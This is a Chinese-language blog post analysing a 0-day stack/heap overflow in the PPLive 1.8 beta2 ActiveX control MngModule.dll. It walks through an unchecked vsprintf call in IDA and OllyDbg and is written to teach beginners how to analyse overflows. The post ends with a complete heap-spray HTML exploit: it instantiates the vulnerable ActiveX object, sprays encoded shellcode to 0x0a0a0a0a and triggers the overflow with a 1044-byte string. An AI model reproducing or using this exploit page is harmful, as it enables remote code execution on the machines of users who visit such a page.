初探ActiveX类型溢出—PPlive 0Day

来源:Bug Center Team
作者:Maple-x

影响版本:
pplive 1.8beat2

有问题的dll:
MngModule.dll 1.7.0.2

未影响版本:
还没吧。:-)

分析:
以下是在luoluo的协助下分析的,基本属于luoluo语录。:)
给出分析过程,给和我一样刚接触溢出一点漏洞分析的思路。


MngModule Startup
Startup
Lock Reference 1
Lock Reference 2
Unlock Reference 1
Lock Reference 2
Unlock Reference 1
Lock Reference 2
Lock Reference 3
Unlock Reference 2
Lock Reference 3
Unlock Reference 2
Lock Reference 3
Login AAAAAAAAA.....(1044)个A

可以看出溢出是在Login的时候,启动IDA,加载这个DLL,查看IDA View-A窗口,选择右键反汇编视图,
这里我们根据关键字查找的方法来寻找有问题的代码段在哪里,ALT+T,搜索文本关键字'login',来到如下地方

.text:100086CF push offset aLoginS ; "Login %s" 《-----压入字符串(传递参数)
.text:100086D4 call sub_10001490 《-----调用函数
.text:100086D9 add esp, 8
.text:100086DC mov [esp+18h+arg_0], offset dword_1000EA10
.text:100086E4 push offset stru_1000EA18 ; lpCriticalSection
.text:100086E9 call ds:EnterCriticalSection

我们在call sub_10001490处双击进入此函数,来分析一下这个函数进行了什么操作

.text:10001490 sub esp, 400h 《---分配空间大小
.text:10001496 mov ecx, 100h
.text:1000149B xor eax, eax
.text:1000149D lea edx, [esp+400h+OutputString]
.text:100014A1 push edi
.text:100014A2 lea edi, [esp+404h+OutputString]
.text:100014A6 rep stosd
.text:100014A8 mov ecx, [esp+404h+Format]
.text:100014AF lea eax, [esp+404h+Args]
.text:100014B6 push eax ; Args
.text:100014B7 push ecx ; Format
.text:100014B8 push edx ; Dest
.text:100014B9 call ds:vsprintf 《---调用vsprintf函数
.text:100014BF add esp, 0Ch
.text:100014C2 lea eax, [esp+404h+OutputString]
.text:100014C6 push eax ; lpOutputString
.text:100014C7 call ds:OutputDebugStringA
.text:100014CD pop edi
.text:100014CE add esp, 400h
.text:100014D4 retn

这是一个vsprintf的函数反汇编代码,程序只分配了400h(1024个字节)的大小,中间并没有进行过长度判断,
这里我们可以基本判断为是由于vsprintf的字符串长度过长,从而导致的堆溢出

我们用OD来动态调试一下。
这里是luoluo提供的技巧,用来定位call vsprintf在OD里的地址

公式为:IDA中的call vsprintf – IDA中的.text基地址 + OD里的基地址

因为是在DLL里出了问题,程序用到DLL,肯定需要load,所以我们先把断点下在LoadLibraryW 或者 LoadLibraryExW
运行POC,然后在OD里附加。然后执行F9后,观察OD,当出现

01B09A20 769DE1B1 /CALL 到 LoadLibraryExW 来自 ole32.769DE1AB
01B09A24 01B09A98 |FileName = "D:\Program Files\PPLive\MngModule.dll"
01B09A28 00000000 |hFile = NULL
01B09A2C 00000008 \Flags = LOAD_WITH_ALTERED_SEARCH_PATH
01B09A30 01B09A98 UNICODE "D:\Program Files\PPLive\MngModule.dll"
01B09A34 76AB6068 ole32.76AB6068

这个时候,就说明下一步就要加载这个DLL了,ctrl+f9,让他执行完这步操作,把这个DLL加载进去,然后去查看可执行模块或者ALT+E,找到此模块,

Executable modules, 条目 8
基址=03300000
大小=00013000 (77824.)
入口=03309D4F MngModul.<模块入口点>
名称=MngModul
文件版本=1, 7, 0, 2
路径=D:\Program Files\PPLive\MngModule.dll

右键跟随入口进入,然后在汇编窗口,拉到最上面,就是DLL的.text基地址了。
根据上面的公式(我的IDA的基地址为10001000,就是反汇编窗口的最开始的地方,OD的基地址为03301000)

换算100014b9-10001000+03301000 = 033014b9

可以用ctrl+g看一下是不是vsprintf的地址,我的结果如下

033014B6 |. 50 push eax ; /arglist
033014B7 |. 51 push ecx ; |format
033014B8 |. 52 push edx ; |buffer
033014B9 |. FF15 54B23003 call dword ptr [<&MSVCRT.vsprintf>] ; \vsprintf
033014BF |. 83C4 0C add esp, 0C
033014C2 |. 8D4424 04 lea eax, dword ptr [esp+4]

033014b9就是我们需要下的断点,然后重新加载POC,执行,因为在程序中用到多次的vsprintf,所以可能需要多按几次F9
直到出现我们的关键字login

01B0F1AC 01B0F1BC |buffer = 01B0F1BC
01B0F1B0 0302E6C8 |format = "Login %s"
01B0F1B4 01B0F5C4 \arglist = 01B0F5C4

这三个就是vsprintf的参数,可以google一下vsprintf的作用就是,把arglist中的字符串数组,以格式化成login %s的方式拷贝到buffer的地址上
我们可以查看一下arglist保存的01b0f5c4这个地址保存着什么

01B0F5C4 02829784 ASCII LF,LF,LF,LF,LF,LF,LF,LF,LF,LF,LF,LF,……

他保存了我们提交的AAAA的地址,由于我们在IDA里可以看到,程序只分配了400H(1024个字节)的大小,当我们提交超过1024个A以后就会发生溢出了。

到这里,分析就结束了。

luoluo提供的heap Spray

<html>
<body>
<object classid='clsid:9F0F8700-A4D8-4E24-A3E0-1CA654CB5179' id='target'></object>
<script>
var heapSprayToAddress = 0x0a0a0a0a;

var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%u03eb%ueb59%ue805%ufff8%uffff%u494f%u4949%u4949%u5149%u565a%u5854%u3336
%u5630%u3458%u3041%u3642%u4848%u4230%u3033%u4342%u5856%u4232%u4244%u3448
%u3241%u4441%u4130%u5444%u4442%u4251%u4130%u4144%u5856%u5a34%u4238%u4a44
%u4d4f%u4f4e%u4e4a%u5446%u5042%u5042%u3042%u584b%u5445%u334e%u384b%u574e
%u3045%u374a%u3041%u4e4f%u584b%u444f%u414a%u384b%u354f%u4242%u3041%u4e4b
%u3449%u584b%u3346%u584b%u3041%u4e50%u3341%u4c42%u3949%u4a4e%u5846%u4c42
%u3746%u3047%u4c41%u4c4c%u504d%u5041%u4c44%u4e4b%u4f46%u534b%u5546%u3246
%u3046%u4745%u4e45%u484b%u354f%u3246%u5041%u4e4b%u3648%u584b%u504e%u544b
%u584b%u354f%u314e%u5041%u4e4b%u384b%u414e%u384b%u3041%u4e4b%u3849%u454e
%u5246%u5046%u4c43%u5341%u4c42%u4646%u484b%u4442%u4342%u3845%u4c42%u374a
%u504e%u484b%u4442%u504e%u484b%u5742%u514e%u4a4d%u484b%u464a%u304a%u4e4b
%u3049%u584b%u5842%u4b42%u3042%u5042%u3042%u484b%u464a%u434e%u554f%u4341
%u4f48%u5642%u5548%u5849%u4f4a%u3843%u4c42%u574b%u5542%u464a%u4e4f%u4c50
%u4e42%u4642%u364a%u494a%u4f50%u484c%u3050%u3547%u4f4f%u4e47%u4643%u5641
%u464e%u5643%u4250%u5645%u374a%u3645%u3042%uff5a");

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
var buffer = '\x0a';

while (buffer.length < 1044)
buffer += '\x0a\x0a\x0a\x0a';

target.X(true, buffer, 1);
</script>
</body>
</html>

小结:
漏洞很简单,只是让刚接触溢出的人有个分析思路
这是第一次溢出分析,还什么遗漏或错误的地方,还请各位大牛指正
PS:只有知道了漏洞成因,掌握了分析方法,才算是正真的学会了。只有fuzz的结果,并没有什么意义。
另外,这个纯属鸡肋,在默认ie安全级别需要用户交互才能执行.挂马的同学请无视.

相关日志

发表评论